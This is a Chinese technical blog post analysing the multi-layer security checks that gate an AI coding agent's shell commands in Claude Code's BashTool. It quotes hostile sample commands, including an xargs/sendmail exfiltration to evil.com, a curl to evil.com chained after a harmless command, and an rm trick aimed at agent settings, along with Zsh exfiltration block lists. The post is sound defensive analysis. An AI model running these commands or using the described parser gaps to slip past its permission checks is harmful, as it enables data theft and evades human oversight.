Claude Code 源码分析(二):Shell 命令安全体系 —— AI Agent 执行终端命令的纵深防御设计

本系列文章基于 Claude Code 2.1.88 版本的 TypeScript 源码进行分析。源码版权归 Anthropic 所有,本文仅用于技术研究。

引言

让 AI Agent 执行 Shell 命令是一项高风险操作。模型可能被 prompt 注入诱导执行恶意命令,也可能因"幻觉"生成危险操作。Claude Code 的 BashTool 模块为此构建了一套纵深防御体系,仅 bashSecurity.ts 一个文件就超过 2400 行,覆盖了从 Shell 元字符注入到 Zsh 特有攻击向量的 30 余种安全校验。

本文将从源码层面完整剖析这套安全体系的设计思路与实现细节。

涉及的核心源码文件:

  • src/tools/BashTool/bashSecurity.ts ------ 核心安全校验管线(2400+ 行)
  • src/tools/BashTool/pathValidation.ts ------ 路径级安全校验
  • src/tools/BashTool/destructiveCommandWarning.ts ------ 破坏性命令警告
  • src/tools/BashTool/readOnlyValidation.ts ------ 只读命令白名单
  • src/tools/BashTool/commandSemantics.ts ------ 命令语义分析
  • src/tools/BashTool/bashPermissions.ts ------ 权限规则匹配
  • src/tools/BashTool/shouldUseSandbox.ts ------ 沙箱决策逻辑
  • src/tools/BashTool/BashTool.tsx ------ BashTool 主逻辑

一、安全校验管线:30+ 个独立验证函数

bashSecurity.ts 的核心设计是一条管线式(pipeline)校验链。每条命令在执行前需要通过一系列独立的验证函数,任一环节返回 ask(需要用户确认)即中断自动执行。

1.1 校验函数全景

以下是源码中实现的全部校验函数及其防御目标:

校验函数 防御目标 安全检查 ID
validateEmpty 空命令 -
validateIncompleteCommands 不完整的命令片段(以 tab、flag、运算符开头) 1
validateShellMetacharacters Shell 元字符注入 5
validateDangerousVariables 危险环境变量(如 $IFS$BASH_ENV 6
validateDangerousPatterns 命令替换 $()、进程替换 <()、反引号等 8/9/10
validateRedirections 输出重定向滥用 10
validateNewlines 换行符注入(隐藏命令) 7
validateCarriageReturn 回车符注入(覆盖终端显示内容) 17
validateIFSInjection IFS 变量注入(改变字段分隔符) 11
validateProcEnvironAccess /proc 环境信息访问 13
validateMalformedTokenInjection 畸形 token 注入 14
validateObfuscatedFlags 混淆的命令行标志 4
validateBackslashEscapedWhitespace 反斜杠转义空白字符 15
validateBackslashEscapedOperators 反斜杠转义运算符 21
validateBraceExpansion 花括号展开攻击(如 {rm,-rf,/} 16
validateUnicodeWhitespace Unicode 空白字符混淆 18
validateMidWordHash 词中 # 注释欺骗 19
validateCommentQuoteDesync 注释与引号不同步 22
validateQuotedNewline 引号内换行符 23
validateZshDangerousCommands Zsh 特有的危险命令 20
validateGitCommit git commit 中的命令替换 12
validateJqCommand jq 的 system() 函数调用 2/3
validateSafeCommandSubstitution 安全的命令替换白名单 -

每个校验函数都有对应的数字 ID,用于遥测日志记录:

typescript 复制代码
const BASH_SECURITY_CHECK_IDS = {
  INCOMPLETE_COMMANDS: 1,
  JQ_SYSTEM_FUNCTION: 2,
  SHELL_METACHARACTERS: 5,
  DANGEROUS_VARIABLES: 6,
  NEWLINES: 7,
  // ... 共 23 个
} as const

1.2 引号提取:安全分析的基础

在执行校验之前,系统首先通过 extractQuotedContent 函数对命令进行引号提取,生成三个视图:

typescript 复制代码
function extractQuotedContent(command: string): QuoteExtraction {
  return {
    withDoubleQuotes: string,       // 移除单引号内容后的命令
    fullyUnquoted: string,          // 移除所有引号内容后的命令
    unquotedKeepQuoteChars: string, // 移除引号内容但保留引号字符
  }
}

不同的校验函数使用不同的视图。例如,validateMidWordHash 使用 unquotedKeepQuoteChars 来检测引号紧邻 # 的情况(如 echo 'x'#malicious),因为完全去引号会丢失这种邻接关系。

1.3 典型校验函数解析

validateIncompleteCommands ------ 检测不完整的命令片段:

typescript 复制代码
function validateIncompleteCommands(context: ValidationContext): PermissionResult {
  const trimmed = context.originalCommand.trim()
  
  // 以 tab 开头 → 可能是粘贴的代码片段
  if (/^\s*\t/.test(originalCommand)) {
    return { behavior: 'ask', message: 'Command appears to be an incomplete fragment' }
  }
  
  // 以 flag 开头 → 可能是上一条命令的延续
  if (trimmed.startsWith('-')) {
    return { behavior: 'ask', message: 'Command starts with flags' }
  }
  
  // 以运算符开头 → 可能是管道的后半段
  if (/^\s*(&&|\|\||;|>>?|<)/.test(originalCommand)) {
    return { behavior: 'ask', message: 'Command starts with operator' }
  }
}

validateBraceExpansion ------ 防御花括号展开攻击:

花括号展开是 Bash 的一个特性,{a,b,c} 会展开为 a b c。攻击者可以利用这一特性构造 {rm,-rf,/} 来绕过简单的命令检测。

validateZshDangerousCommands ------ 防御 Zsh 特有攻击:

源码中维护了一个 Zsh 危险命令集合,涵盖了模块加载、文件操作、网络通信等多个攻击面:

typescript 复制代码
const ZSH_DANGEROUS_COMMANDS = new Set([
  'zmodload',   // 加载危险模块(mapfile、zpty、net/tcp 等)
  'emulate',    // -c 标志等价于 eval
  'sysopen',    // 精细控制的文件打开(zsh/system)
  'sysread',    // 文件描述符读取
  'syswrite',   // 文件描述符写入
  'zpty',       // 伪终端命令执行
  'ztcp',       // TCP 连接(数据外泄)
  'zsocket',    // Unix/TCP 套接字
  'zf_rm',      // zsh/files 内置 rm
  'zf_mv',      // zsh/files 内置 mv
  // ... 更多
])

源码注释中详细解释了每个命令的危险性。例如 zmodload 被标记为"通往许多危险模块攻击的入口",因为它可以加载 zsh/mapfile(通过数组赋值实现不可见的文件 I/O)、zsh/net/tcp(通过 ztcp 实现网络数据外泄)等模块。


二、路径安全校验

pathValidation.ts 实现了对文件操作命令的路径级校验。

2.1 危险路径检测

checkDangerousRemovalPaths 函数检查 rmrmdir 等命令的目标路径,拒绝对系统关键目录的操作:

typescript 复制代码
function checkDangerousRemovalPaths(
  command: 'rm' | 'rmdir', args: string[], cwd: string
): PermissionResult {
  for (const path of paths) {
    const absolutePath = isAbsolute(cleanPath) 
      ? cleanPath 
      : resolve(cwd, cleanPath)
    
    if (isDangerousRemovalPath(absolutePath)) {
      return {
        behavior: 'ask',
        message: `Dangerous ${command} operation detected: '${absolutePath}'`,
        suggestions: [],  // 不提供"记住此选择"的建议
      }
    }
  }
}

注意 suggestions: [] 这个细节------对于危险路径操作,系统不提供"记住此选择"的快捷方式,防止用户误操作后自动放行。

2.2 POSIX -- 分隔符处理

filterOutFlags 函数正确处理了 POSIX -- 分隔符,这是一个容易被忽略的安全细节:

typescript 复制代码
function filterOutFlags(args: string[]): string[] {
  let afterDoubleDash = false
  for (const arg of args) {
    if (afterDoubleDash) {
      result.push(arg)  // -- 之后的所有参数都是路径
    } else if (arg === '--') {
      afterDoubleDash = true
    } else if (!arg?.startsWith('-')) {
      result.push(arg)
    }
  }
}

源码注释中给出了具体的攻击场景:

复制代码
rm -- -/../.claude/settings.local.json

如果不处理 ---/../.claude/settings.local.json 会被当作 flag 而跳过路径校验,导致文件被删除而无需用户确认。

2.3 命令级路径提取器

系统为每种文件操作命令维护了独立的路径提取器(PATH_EXTRACTORS),覆盖了 cdlsfindmkdirrmmvcpcatgrepsedgitjq 等 30+ 种命令。每个提取器理解对应命令的参数语法,正确区分 flag 和路径参数。


三、只读命令白名单

readOnlyValidation.ts 实现了一套基于白名单的只读命令验证系统。这是安全体系中"允许"方向的设计------如果一条命令被证明是只读的,可以跳过权限提示。

3.1 白名单结构

每个命令的白名单配置包含安全 flag 列表和可选的额外校验:

typescript 复制代码
type CommandConfig = {
  safeFlags: Record<string, FlagArgType>  // 安全 flag 及其参数类型
  regex?: RegExp                           // 额外的正则校验
  additionalCommandIsDangerousCallback?: (
    rawCommand: string, args: string[]
  ) => boolean                             // 自定义危险检测
  respectsDoubleDash?: boolean             // 是否遵循 POSIX --
}

3.2 安全注释的价值

白名单中的安全注释是这套系统最有价值的部分之一。以 xargs 为例:

typescript 复制代码
xargs: {
  safeFlags: {
    '-I': '{}',
    // SECURITY: `-i` and `-e` (lowercase) REMOVED --- both use GNU getopt
    // optional-attached-arg semantics (`i::`, `e::`).
    //
    // `-i` (`i::` --- optional replace-str):
    //   echo /usr/sbin/sendm | xargs -it tail a@evil.com
    //   validator: -it bundle (both 'none') OK, tail ∈ SAFE_TARGET → break
    //   GNU: -i replace-str=t, tail → /usr/sbin/sendmail → NETWORK EXFIL
    '-n': 'number',
    '-E': 'EOF',  // POSIX, MANDATORY separate arg
  }
}

这段注释详细解释了为什么 -i(小写)被移除:GNU getopt 的可选附加参数语义(i::)导致验证器和实际 xargs 对参数的解析不一致,攻击者可以利用这种不一致实现网络数据外泄。

类似的安全注释遍布整个白名单。tree 命令的 -R flag 被移除,因为:

typescript 复制代码
// SECURITY: -R REMOVED. tree -R combined with -H (HTML mode) and -L (depth)
// WRITES 00Tree.html files to every subdirectory at the depth boundary.
// From man tree (< 2.1.0): "-R --- at each of them execute tree again
// adding `-o 00Tree.html` as a new option."

ps 命令的 BSD 风格 e 修饰符被阻止,因为它会显示环境变量(可能包含密钥):

typescript 复制代码
additionalCommandIsDangerousCallback: (_rawCommand, args) => {
  // Block BSD-style 'e' in letter-only tokens (not -e which is UNIX-style)
  return args.some(
    a => !a.startsWith('-') && /^[a-zA-Z]*e[a-zA-Z]*$/.test(a)
  )
}

四、破坏性命令警告

destructiveCommandWarning.ts 实现了一套纯信息性的破坏性命令检测,用于在权限对话框中显示警告。

typescript 复制代码
const DESTRUCTIVE_PATTERNS: DestructivePattern[] = [
  // Git --- 数据丢失 / 难以恢复
  { pattern: /\bgit\s+reset\s+--hard\b/, 
    warning: 'Note: may discard uncommitted changes' },
  { pattern: /\bgit\s+push\b[^;&|\n]*--force\b/, 
    warning: 'Note: may overwrite remote history' },
  { pattern: /\bgit\s+clean\b.*-[a-zA-Z]*f/, 
    warning: 'Note: may permanently delete untracked files' },
  
  // 数据库
  { pattern: /\b(DROP|TRUNCATE)\s+(TABLE|DATABASE)\b/i, 
    warning: 'Note: may drop or truncate database objects' },
  
  // 基础设施
  { pattern: /\bkubectl\s+delete\b/, 
    warning: 'Note: may delete Kubernetes resources' },
  { pattern: /\bterraform\s+destroy\b/, 
    warning: 'Note: may destroy Terraform infrastructure' },
]

这套检测覆盖了 Git 操作(reset --hard、force push、clean -f、stash drop、branch -D、--no-verify)、文件删除(rm -rf)、数据库操作(DROP TABLE、DELETE FROM)和基础设施操作(kubectl delete、terraform destroy)。

注意这是"纯信息性"的------它不影响权限逻辑或自动审批,只在用户确认对话框中显示额外警告。


五、命令语义分析

commandSemantics.ts 解决了一个容易被忽略的问题:不同命令的退出码含义不同。

typescript 复制代码
function getCommandSemantic(command: string): CommandSemantic {
  const base = extractBaseCommand(command)
  // grep 返回 1 = 未找到匹配,不是错误
  // diff 返回 1 = 文件不同,不是错误
  // test/[ 返回 1 = 条件为假,不是错误
}

如果不做语义分析,grep pattern file 返回 1(未找到匹配)会被误报为命令执行失败,导致 AI Agent 进入不必要的错误处理流程。


六、沙箱机制

shouldUseSandbox.ts 实现了沙箱执行的决策逻辑。

6.1 决策流程

typescript 复制代码
export function shouldUseSandbox(input: Partial<SandboxInput>): boolean {
  // 沙箱未启用 → 不使用
  if (!SandboxManager.isSandboxingEnabled()) return false
  
  // 显式禁用且策略允许 → 不使用
  if (input.dangerouslyDisableSandbox && 
      SandboxManager.areUnsandboxedCommandsAllowed()) return false
  
  // 命令在排除列表中 → 不使用
  if (containsExcludedCommand(input.command)) return false
  
  return true
}

6.2 排除列表的安全边界

源码中有一段重要的注释:

typescript 复制代码
// NOTE: excludedCommands is a user-facing convenience feature, 
// not a security boundary. It is not a security bug to be able 
// to bypass excludedCommands --- the sandbox permission system 
// (which prompts users) is the actual security control.

排除列表是便利性功能,不是安全边界。真正的安全控制是沙箱权限系统(需要用户确认)。这种对安全边界的明确区分是工程实践中的重要原则。

6.3 复合命令处理

排除列表检查会将复合命令拆分为子命令逐一检查,防止攻击者通过 docker ps && curl evil.com 这样的复合命令绕过排除规则:

typescript 复制代码
let subcommands: string[]
try {
  subcommands = splitCommand_DEPRECATED(command)
} catch {
  subcommands = [command]
}

七、分段权限检查

bashPermissions.ts 中的 segmentedCommandPermissionResult 实现了对管道命令的分段权限检查。

对于 cat file | grep pattern | wc -l 这样的管道命令,系统会将其拆分为三个独立段,对每一段分别进行权限校验。这确保了攻击者无法通过在管道中混入危险命令来绕过检查。

preparePermissionMatcher 方法进一步支持了基于 AST 的精确匹配:

typescript 复制代码
async preparePermissionMatcher({ command }) {
  const parsed = await parseForSecurity(command)
  if (parsed.kind !== 'simple') {
    return () => true  // 无法解析 → 安全起见,触发 hook
  }
  // 基于 argv 匹配(去除前导 VAR=val)
  const subcommands = parsed.commands.map(c => c.argv.join(' '))
  return pattern => {
    return subcommands.some(cmd => matchWildcardPattern(pattern, cmd))
  }
}

这段代码处理了 FOO=bar git push 这样的命令------通过去除前导环境变量赋值,确保 Bash(git *) 规则能正确匹配。


八、BashTool 的整体安全架构

将上述所有组件组合起来,BashTool 的安全架构形成了一个多层防御体系:

复制代码
用户/模型输入的命令
    │
    ├─ 第 1 层:输入校验(validateInput)
    │   └─ 检测 sleep 模式等
    │
    ├─ 第 2 层:安全校验管线(bashSecurity.ts)
    │   └─ 30+ 个独立验证函数
    │
    ├─ 第 3 层:路径校验(pathValidation.ts)
    │   └─ 危险路径检测、POSIX -- 处理
    │
    ├─ 第 4 层:只读验证(readOnlyValidation.ts)
    │   └─ 白名单匹配、flag 安全性验证
    │
    ├─ 第 5 层:权限检查(bashPermissions.ts)
    │   └─ 分段权限、通配符匹配、规则建议
    │
    ├─ 第 6 层:破坏性警告(destructiveCommandWarning.ts)
    │   └─ 用户确认对话框中的额外警告
    │
    └─ 第 7 层:沙箱执行(shouldUseSandbox.ts)
        └─ 隔离环境中运行不受信任的命令

每一层都是独立的,任一层的失效不会导致整个体系失守。这就是"纵深防御"的核心思想。


九、设计启示

从这套安全体系中可以提炼出若干设计原则:

其一,fail-closed 优先。BashTool 的 buildTool 默认值中,isConcurrencySafe 默认为 falseisReadOnly 默认为 false。当系统无法判断命令的安全性时,默认要求用户确认。

其二,安全注释是资产。白名单中每个被移除的 flag 都附带了详细的攻击场景说明。这些注释不仅解释了"为什么不",还给出了具体的攻击路径,使得后续维护者能够理解每个决策的安全含义。

其三,区分安全边界与便利功能。沙箱排除列表明确标注为"非安全边界",避免了将便利性功能误当作安全控制的风险。

其四,语义感知减少误报。命令语义分析避免了将 grep 返回 1 误报为错误,减少了不必要的用户干预,提升了系统的可用性。

其五,遥测驱动迭代。每个安全检查都有数字 ID 用于遥测记录,使得团队能够追踪各类攻击向量的触发频率,指导后续的安全加固方向。

对于正在构建 AI Agent 系统的团队,这套安全体系最直接的参考价值在于:不要试图用一个"万能"的安全检查覆盖所有场景,而是构建多层独立的检查,每一层解决一类特定的安全问题。

相关推荐
TianFuRuanJian2 小时前
当车辆热管理系统遇到工业AI
人工智能·汽车
AI营销先锋2 小时前
原圈科技AI市场分析:破解增长瓶颈,领航智能营销
大数据·人工智能
AI创界者2 小时前
基于 C++ 架构的高性能远程管理技术探究(附 V7.4 优化解析)
人工智能·架构
KvPiter2 小时前
AI辅助开发行业动态(202603)
人工智能·编辑器
算法-大模型备案 多米2 小时前
大模型备案实操指南:材料、流程与避坑要点
大数据·网络·人工智能·算法·文心一言
minhuan2 小时前
医疗AI智能体:构筑长效对话链路:智能体多轮对话记忆机制与上下文完整处理实际.132
人工智能·多轮对话记忆·智能体上下文处理·构建ai智能体
AI职业加油站2 小时前
数据要素时代:大数据治理工程师证书深度解码
大数据·开发语言·人工智能·python·数据分析
Daiyaosei3 小时前
紧急安全警报:Axios npm 包被投毒事件详解与防护指南
前端·javascript·安全
老兵发新帖3 小时前
claude code复刻版:claw code源码分析(持续更新ing)
人工智能